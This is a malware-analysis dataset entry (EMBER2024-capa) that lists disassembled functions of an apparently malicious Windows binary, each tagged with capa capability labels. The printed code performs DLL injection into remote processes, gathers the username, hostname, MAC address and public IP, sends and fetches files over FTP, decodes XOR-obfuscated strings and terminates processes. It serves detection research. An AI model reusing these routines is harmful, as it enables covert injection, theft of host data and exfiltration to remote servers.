joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427ac0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x5b37d8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 0xc]
mov ecx, edi
mov dword [ebp - 4], eax
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427af0
mov esi, dword [ebp + 8]
sub ecx, edx
push 4
push 0x3000
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, edi
mov ebx, eax
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x427b14
push 0
sub edx, eax
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push dword [ebp - 4]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427c50
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x428a30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x428a50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4285f0
push 0
push 0
call esi
pop esi
ret
Function at 0x4296e0
Capabilities:
Connect to http server
Create http request
Delete file
Get session user name
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x64
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x42977d
push esi
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x6ee1d8]
mov edi, eax
push dword [0x6ee1d4]
push 0x15
push dword [0x6ee1d0]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp - 0x68]
push 2
push eax
push 0x5b3dd0
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x42978b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov esi, dword [sym.imp.MSVCR120.dll_remove]
push 0x5b3dd8
call esi
push 0x5b3de0
call esi
add esp, 8
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
push 0x5b3de4
call dword [sym.imp.MSVCR120.dll_remove]
add esp, 4
call fcn.00429360
int3
Function at 0x429e60
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42a020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x429e80
Capabilities:
Capture public ip
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b10b
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push str.http:__icanhazip.com_
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
mov dword [ebp - 0x48], esi
test esi, esi
je 0x42a01a
lea eax, [ebp - 0x4c]
push eax
push 0x2f
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x4c]
cmp eax, 0x2f
jae 0x42a015
push 1
push 0x40
push 8
push 0x5b3e28
lea ecx, [ebp - 0xf4]
mov byte [ebp + eax - 0x40], 0
call fcn.0040c520
lea eax, [ebp - 0xf4]
mov dword [ebp - 4], 0
push str._nPublic_IP:
push eax
call fcn.0040afa0
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0040afa0
mov dword [ebp - 0x44], 0x5b3e48
add esp, 0x10
mov ebx, dword [ebp - 0x44]
mov edi, dword [ebp - 0x44]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x429f9d
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x44], ecx
test esi, esi
je 0x429f91
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x44]
cmp edx, dword [ebx + 0xf]
jb 0x429f78
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 0x48]
mov byte [ecx + eax], 0
lea eax, [ebp - 0xf4]
push edi
push eax
call fcn.0040afa0
add esp, 8
lea ecx, [ebp - 0xf0]
call fcn.0040a310
test eax, eax
jne 0x429fd6
push eax
mov eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0xf4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.0042a110
lea ecx, [ebp - 0x94]
call fcn.0040c630
lea ecx, [ebp - 0x94]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
call fcn.0059998a
call fcn.00429ae0
int3
Function at 0x42a3d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b34b
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x42a49a
push 1
push 0x40
push 8
push 0x5b3e90
lea ecx, [ebp - 0xd0]
call fcn.0040c520
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push str._nComputer_Name:
push eax
call fcn.0040afa0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0040afa0
add esp, 0x10
lea ecx, [ebp - 0xcc]
call fcn.0040a310
test eax, eax
jne 0x42a482
push eax
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.00429e80
lea ecx, [ebp - 0x70]
call fcn.0040c630
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x42a49f
call fcn.00429e80
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret

Function at 0x42a4c0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b34b
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x14
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x42a588
push 1
push 0x40
push 8
push 0x5b3eb0
lea ecx, [ebp - 0xd0]
call fcn.0040c520
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push str._nComputer_Username:
push eax
call fcn.0040afa0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0040afa0
add esp, 0x10
lea ecx, [ebp - 0xcc]
call fcn.0040a310
test eax, eax
jne 0x42a572
push eax
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.0042a3d0
lea ecx, [ebp - 0x70]
call fcn.0040c630
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
Function at 0x42b970
Capabilities:
Connect to http server
Create http request
Delete file
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x8000000
push 1
push dword [0x6ee1d8]
mov dword [ebp - 0xc], eax
push dword [0x6ee1d4]
push 0x15
push dword [0x6ee1d0]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 4], 0x5b4690
mov esi, eax
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
mov dword [ebp - 8], esi
cmp byte [ebx + 0x13], 0
je 0x42ba0d
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42ba01
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42b9e8
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 8]
mov byte [ecx + eax], 0
push 0
push 1
push 0x80
push 1
push 0x5b468c
push edi
push esi
call dword [sym.imp.WININET.dll_FtpGetFileA]
test eax, eax
je 0x42ba50
push 2
push 0x5b46bc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
call fcn.0042c8b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR120.dll_remove]
push 0x5b46c0
call esi
push 0x5b46c4
call esi
add esp, 8
call fcn.0042b5e0
int3

Function at 0x42ba70
Capabilities:
Capture public ip
Connect to http server
Create http request
Delete file
Read data from internet
Receive data
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 1
push dword [0x6ee1d8]
push dword [0x6ee1d4]
push 0x15
push dword [0x6ee1d0]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0
push 0
push 0
push 0
mov edi, eax
call esi
push 0
push 0x80000000
push 0
push 0
mov ebx, eax
push 0x5b46c8
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x42bb56
lea eax, [ebp - 0x38]
push eax
push 0x2f
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x38]
cmp eax, 0x2f
jae 0x42bb51
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + eax - 0x34], 0
call esi
push 0
push 2
lea eax, [ebp - 0x34]
push eax
push str.ggg_ng_n
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x42bb3e
push edi
call esi
push ebx
call esi
call fcn.0042b970
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0059978a
mov esp, ebp
pop ebp
ret
push 0x5b4054
call dword [sym.imp.MSVCR120.dll_remove]
add esp, 4
call fcn.0042b5e0
call fcn.0059998a
call fcn.0042bcb0
int3
Function at 0x42bb60
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b25b
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x63
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x80], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov byte [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x13], 0
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
movq qword [ebp - 0x1b], xmm0
push 0xa
push eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0x8c], 0
push eax
lea eax, [ebp - 0x84]
push eax
push 0x64
lea eax, [ebp - 0x80]
push eax
push 0x5b40c0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x42bc8b
push eax
push 0x40
push 8
push 0x5b40c4
lea ecx, [ebp - 0x134]
call fcn.0040c520
lea eax, [ebp - 0x134]
mov dword [ebp - 4], 0
push 0x5b40cc
push eax
call fcn.0040afa0
add esp, 8
lea ecx, [ebp - 0x134]
push dword [ebp - 0x84]
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
lea ecx, [ebp - 0x130]
call fcn.0040a310
test eax, eax
jne 0x42bc6d
push eax
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x134]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.0042cce0
lea ecx, [ebp - 0xd4]
call fcn.0040c630
lea ecx, [ebp - 0xd4]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x42bc90
call fcn.0042cdd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
Function at 0x42c340
Capabilities:
Encode data using xor
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.MSVCR120.dll_malloc]
push esi
push edi
push 0x14
mov dword [ebp - 4], 4
call ebx
add esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x288
call ebx
add esp, 4
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x42c45c
push dword [ebp - 4]
call ebx
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
mov dword [ebp - 0x10], esi
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x42c446
mov dword [ebp - 8], 0x5b40e0
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 8]
add edi, 0x14
cmp byte [ebx + 0x13], al
je 0x42c3f5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 8], ecx
test esi, esi
je 0x42c3e9
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 8]
cmp edx, dword [ebx + 0xf]
jb 0x42c3d0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 0x10]
mov byte [ecx + eax], 0
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push edi
mov edi, dword [ebp - 0xc]
push edi
call dword [sym.imp.MSVCR120.dll_sprintf]
add esp, 0x20
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0xc]
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042b180
int3

Function at 0x42c470
Capabilities:
Create thread
Delete file

Disassembly:
push esi
mov esi, dword [sym.imp.MSVCR120.dll_remove]
push 0x5b423c
call esi
push 0x5b4240
call esi
push 0x5b4244
call esi
add esp, 0xc
push 0
push 0
push 0
push 0x42cc50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret
Function at 0x42cce0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b34b
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x42cdaa
push 1
push 0x40
push 8
push 0x5b4060
lea ecx, [ebp - 0xd0]
call fcn.0040c520
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push 0x5b4064
push eax
call fcn.0040afa0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0040afa0
add esp, 0x10
lea ecx, [ebp - 0xcc]
call fcn.0040a310
test eax, eax
jne 0x42cd92
push eax
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.0042cdd0
lea ecx, [ebp - 0x70]
call fcn.0040c630
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x42cdaf
call fcn.0042cdd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret

Function at 0x42cdd0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b38b
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x64
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x42ce9e
push 1
push 0x40
push 8
push 0x5b4058
lea ecx, [ebp - 0x120]
call fcn.0040c520
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0
push 0x5b405c
push eax
call fcn.0040afa0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0040afa0
add esp, 0x10
lea ecx, [ebp - 0x11c]
call fcn.0040a310
test eax, eax
jne 0x42ce82
push eax
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x120]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.0042ba70
lea ecx, [ebp - 0xc0]
call fcn.0040c630
lea ecx, [ebp - 0xc0]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059978a
mov esp, ebp
pop ebp
ret
Function at 0x42d5a0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42d4f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x42d6f0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x6ee168], 0xb7
push ebx
push esi
push edi
jne 0x42d86f
mov eax, dword [0x6ee268]
cmp eax, 1
jne 0x42d782
mov dword [ebp - 4], 0x5b48a8
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42d766
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42d75d
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42d744
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6ee1e4]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x42d7fe
mov dword [ebp - 4], 0x5b48f8
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42d7e2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42d7d9
sub edi, ecx
lea ebx, [ebx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42d7c0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6ee1e4]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0x5b4958
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42d853
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42d84a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42d831
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6ee1e4]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42d940
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x6dd8d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0x13c], ebx
cmp ebx, 0xffffffff
je 0x42d9c5
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x42d9c5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
lea ecx, [ecx]
push dword [ebp - 0x124]
push 0
push 0x1f0fff
call edi
mov esi, eax
test esi, esi
je 0x42d9b2
push esi
call fcn.0042d8a0
add esp, 4
test al, al
jne 0x42d9db
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x42d990
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0059978a
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x138], 0x103
je 0x42daa5
mov dword [ebp - 0x134], 0x5b49b8
mov esi, dword [ebp - 0x134]
mov edi, dword [ebp - 0x134]
add edi, 0x14
mov dword [ebp - 0x130], esi
cmp byte [esi + 0x13], 0
je 0x42da90
mov esi, dword [esi + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x134], ecx
test esi, esi
mov esi, dword [ebp - 0x130]
je 0x42da87
mov ebx, eax
sub edi, ebx
mov eax, edx
lea ecx, [edx + ebx]
and eax, 7
inc edx
mov al, byte [eax + esi + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
cmp edx, dword [esi + 0xf]
jb 0x42da64
mov ebx, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x134]
mov eax, dword [esi + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0
push 0x5b49a8
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x42d9c3
mov dword [ebp - 0x130], 0x5b4a1c
mov ebx, dword [ebp - 0x130]
mov edi, dword [ebp - 0x130]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42db09
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x130], ecx
test esi, esi
je 0x42db00
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x130]
cmp edx, dword [ebx + 0xf]
jb 0x42dae4
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0
push str.Memory_Scanner
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x42dbf0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42e0a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret